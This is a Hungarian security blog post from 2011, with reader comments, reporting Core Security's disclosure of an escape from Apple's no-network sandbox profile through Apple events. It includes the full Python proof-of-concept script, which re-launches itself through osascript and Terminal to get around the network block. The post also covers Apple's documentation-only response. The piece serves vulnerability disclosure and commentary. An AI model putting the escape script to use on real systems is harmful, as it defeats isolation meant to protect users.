A Core Security Technologies nem rég egy több szempontból is érdekes blog posztot tett közzé, melyben két sebezhetőség bejelentésének történetét mesélik el, összevetve a gyártók hozzáállását. Az egyik sebezhetőség az Apple hálózati elérést korlátozó sandbox-ából teszi lehetővé a kijutást, egy igen egyszerű módszerrel.
A no-network sandbox profil az Apple dokumentációja szerint megakadályoz minden socket alapú hálózati kommunikációt azon alkalmazásoknak, melyekre a profilt alkalmazzák. A korlátozás ugyanakkor nem terjed ki az ún. Apple események küldésére. A Core Security ugyanakkor megmutatta, hogy ezen események felhasználásával elérhető, hogy egy másik, nem sandboxolt alkalmazásnak "kiszólva" hálózati kapcsolatokat nyissunk. A problémát az alábbi elegáns Python szkript szemlélteti:
import os import sys import socket if len(sys.argv) != 2: print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0] try: targetIP = sys.argv[1] s = socket.socket() s.connect((targetIP, 80)) s.send('GET /\r\n\r\n') print(s.recv(1024)) print "\n\n\n[+] Sandbox escaped" except Exception, e: if "Operation not permitted" in str(e): #print repr(e) print "[-] Blocked by seatbelt" print "[ ] Escaping..." os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP))
A történet legérdekesebb része azonban nem ez, hanem a gyártó reakciója: a profil kijavítása helyett a sandbox dokumentációt fogják frissíteni, kitérve arra, hogy a no-network profil csak addig érvényes, amíg a korlátozandó alkalmazás nem kezd el más folyamatokkal beszélgetni. A reakció már csak azért is meglepő, mert Charlie Miller a fentiekkel gyakorlatilag megegyező technikát prezentált a 2008-as BlackHat JP-n, ami után az Apple javította is a sandbox profilok problémáját.
Lazán kapcsolódó hír, hogy Millert nem rég kitiltották az Apple fejlesztői programjából, miután aláíratlan kód futtatására alkalmas hibát demózott iPhone-on. Ez utóbbi problémáról lesz majd poszt, ha megjelennek a pontos technikai részletek.
conscience 2011.11.17. 19:13:25
Jobb, ha ezt írom ide, mint a véleményemet... :D
Mindenesetre a fogás érdekes.
domi007 2011.11.17. 23:23:16